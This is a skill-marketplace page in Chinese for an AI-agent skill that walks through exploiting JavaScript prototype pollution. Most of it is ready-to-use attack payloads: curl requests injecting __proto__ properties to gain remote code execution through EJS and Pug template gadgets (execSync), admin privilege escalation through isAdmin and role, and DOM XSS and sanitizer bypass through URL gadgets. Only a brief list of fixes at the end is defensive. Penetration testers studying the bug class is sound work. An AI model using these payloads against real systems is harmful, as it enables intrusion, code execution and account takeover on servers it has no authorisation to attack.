# Exploiting Prototype Pollution In Javascript

> 检测并利用客户端和服务器端应用程序中的 JavaScript 原型链污染漏洞，通过属性注入实现 XSS、RCE 和身份验证绕过。

- Skill: `killvxk/exploiting-prototype-pollution-in-javascript` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add killvxk/exploiting-prototype-pollution-in-javascript`
- Raw SKILL.md: https://api.skillmd.com/api/skills/killvxk/exploiting-prototype-pollution-in-javascript/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- License: Apache-2.0
- Author: killvxk (https://skillmd.com/u/killvxk)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/killvxk/exploiting-prototype-pollution-in-javascript

---


# 利用 JavaScript 原型链污染漏洞（Exploiting Prototype Pollution in JavaScript）

## 适用场景
- 测试 Node.js 或 JavaScript 密集型 Web 应用程序时
- 评估接受深度合并 JSON 对象的 API 时
- 测试客户端 JavaScript 框架中通过原型链污染的 DOM XSS 时
- 对对象合并/克隆/扩展操作进行代码审查时
- 评估 npm 包中的原型链污染 Gadget 时

## 前置条件
- 带有 DOM Invader 扩展的 Burp Suite，用于客户端原型链污染检测
- 用于服务器端测试的 Node.js 开发环境
- 了解 JavaScript 原型链和对象继承
- 了解常见污染 Gadget（来源、目标和可利用属性）
- 用于服务器端检测的 Prototype Pollution Gadgets Scanner Burp 扩展
- 用于客户端原型操纵的浏览器开发者控制台

## 工作流程

### 步骤 1：识别原型链污染来源
```javascript
// 客户端：测试基于 URL 的来源
// 访问：http://target.com/page?__proto__[polluted]=true
// 或使用 constructor：http://target.com/page?constructor[prototype][polluted]=true

// 在浏览器控制台中检查：
console.log(({}).polluted); // 如果返回 "true"，则污染已确认

// 常见的基于 URL 的污染向量：
// ?__proto__[key]=value
// ?__proto__.key=value
// ?constructor[prototype][key]=value
// ?constructor.prototype.key=value

// Hash 片段污染：
// http://target.com/#__proto__[key]=value
```

### 步骤 2：测试服务器端原型链污染
```bash
# 通过带 __proto__ 的 JSON 体测试
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"isAdmin": true}}'

# 通过 constructor.prototype 测试
curl -X POST http://target.com/api/update \
  -H "Content-Type: application/json" \
  -d '{"constructor": {"prototype": {"isAdmin": true}}}'

# 测试状态码反射（检测技术）
# 污染 status 属性以检测服务器端污染
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"status": 510}}'
# 如果响应返回 510，则服务器端污染已确认

# JSON 内容类型污染
curl -X POST http://target.com/api/settings \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"shell": "/proc/self/exe", "NODE_OPTIONS": "--require /proc/self/environ"}}'
```

### 步骤 3：利用客户端实现 DOM XSS
```javascript
// 步骤 1：找到污染来源（URL 参数、JSON 输入、postMessage）
// 步骤 2：找到 Gadget - 从原型链读取并到达目标的属性

// DOM XSS 的常见 Gadget：
// innerHTML Gadget：
// ?__proto__[innerHTML]=<img/src/onerror=alert(1)>

// jQuery $.html() Gadget：
// ?__proto__[html]=<img/src/onerror=alert(1)>

// transport URL Gadget（常见于分析脚本）：
// ?__proto__[transport_url]=data:,alert(1)//

// 通过原型链污染绕过清理器：
// ?__proto__[allowedTags]=<script>
// ?__proto__[tagName]=IMG

// 使用 DOM Invader（Burp Suite 内置）：
// 1. 在 Burp 的嵌入式浏览器中启用 DOM Invader
// 2. 启用原型链污染选项
// 3. 浏览应用程序 - DOM Invader 自动检测来源
// 4. 单击"扫描 Gadget"以找到可利用的目标
```

### 步骤 4：利用服务器端实现 RCE
```bash
# Node.js child_process Gadget（RCE）
# 如果应用程序调用 child_process.execSync()、spawn() 或 fork()：
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}'

# EJS 模板引擎 Gadget
curl -X POST http://target.com/api/update \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"client": true, "escapeFunction": "JSON.stringify; process.mainModule.require(\"child_process\").execSync(\"id\")"}}'

# Handlebars 模板 Gadget
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}'

# Pug 模板引擎 Gadget
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"block": {"type": "Text", "line": "process.mainModule.require(\"child_process\").execSync(\"id\")"}}}'
```

### 步骤 5：利用实现身份验证和授权绕过
```bash
# 污染 isAdmin 或 role 属性
curl -X POST http://target.com/api/profile \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"isAdmin": true, "role": "admin"}}'

# 污染与认证相关的属性
curl -X POST http://target.com/api/settings \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"verified": true, "emailVerified": true}}'

# 绕过 JSON 模式验证
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"additionalProperties": true}}'
```

### 步骤 6：使用自动化工具检测
```bash
# 使用 ppfuzz 进行自动化检测
ppfuzz -l urls.txt -o results.txt

# Nuclei 原型链污染模板
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/prototype-pollution.yaml

# 使用 Burp Scanner 进行服务器端检测
# 启用"服务器端原型链污染"扫描检查
# 查看 Burp Dashboard 中的问题

# 通过时序/错误技术进行手动检测
# 污染导致可检测服务器行为变化的属性
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"toString": "polluted"}}'
# 如果服务器报错（500），则污染正在生效
```

## 核心概念

| 概念 | 定义 |
|---------|-------------|
| 原型链（Prototype Chain） | JavaScript 继承机制，对象从 Object.prototype 继承 |
| __proto__ | 公开对象原型的访问器属性 |
| 污染来源（Pollution Source） | 允许在 Object.prototype 上设置属性的输入点 |
| 污染目标（Pollution Sink） | 读取被污染属性并执行危险操作的代码 |
| Gadget | 从原型流向危险目标的属性（来源到目标链） |
| 深度合并（Deep Merge） | 可能将 __proto__ 作为普通键处理的递归对象合并函数 |
| constructor.prototype | 访问和污染原型对象的替代路径 |

## 工具与系统

| 工具 | 用途 |
|------|---------|
| DOM Invader | Burp Suite 内置工具，用于检测客户端原型链污染 |
| Prototype Pollution Gadgets Scanner | 用于服务器端 Gadget 检测的 Burp 扩展 |
| ppfuzz | 自动化原型链污染模糊器 |
| Nuclei | 带有原型链污染模板的基于模板的扫描器 |
| server-side-prototype-pollution | 用于服务器端检测的 Burp Scanner 检查 |
| ESLint security plugin | 代码中原型链污染模式的静态分析 |

## 常见场景

1. **通过分析脚本的 DOM XSS** — 污染 transport_url 属性，通过读取 URL 原型的分析跟踪脚本注入 JavaScript
2. **通过模板引擎的 RCE** — 利用 EJS/Pug/Handlebars Gadget 通过被污染的模板渲染属性执行任意命令
3. **管理员权限提升** — 污染 isAdmin 或 role 属性以绕过 Node.js 应用程序中的授权检查
4. **JSON 模式绕过** — 污染模式验证属性以绕过输入验证并注入恶意数据
5. **拒绝服务** — 污染 toString 或 valueOf 以在对象强制转换为原始类型时导致应用程序崩溃

## 输出格式

```
## 原型链污染评估报告
- **目标**: http://target.com
- **类型**: 服务器端原型链污染
- **影响**: 通过 EJS 模板 Gadget 实现远程代码执行

### 发现
| # | 来源 | Gadget | 目标 | 影响 |
|---|--------|--------|------|--------|
| 1 | POST /api/merge __proto__ | EJS escapeFunction | 模板渲染 | RCE |
| 2 | POST /api/profile __proto__ | isAdmin 属性 | 认证中间件 | 权限提升 |
| 3 | URL ?__proto__[innerHTML] | innerHTML 属性 | DOM 写入 | 客户端 XSS |

### 修复建议
- 对配置对象使用 Object.create(null) 而不是 {}
- 使用 Object.freeze(Object.prototype) 冻结 Object.prototype
- 清理用户输入中的 __proto__ 和 constructor 键
- 对用户控制的数据使用 Map 而不是普通对象
- 更新易受攻击的 npm 包（lodash、merge-deep 等）
```

